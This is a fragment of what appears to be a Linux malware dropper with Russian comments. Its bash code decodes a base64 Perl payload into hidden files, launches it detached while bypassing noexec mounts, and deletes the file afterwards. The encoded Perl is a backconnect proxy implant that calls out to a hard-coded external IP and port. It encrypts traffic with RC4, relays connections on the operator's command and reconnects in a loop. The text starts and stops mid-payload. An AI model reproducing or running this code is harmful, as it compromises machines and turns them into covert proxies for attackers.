kJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_8d527fc2() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcn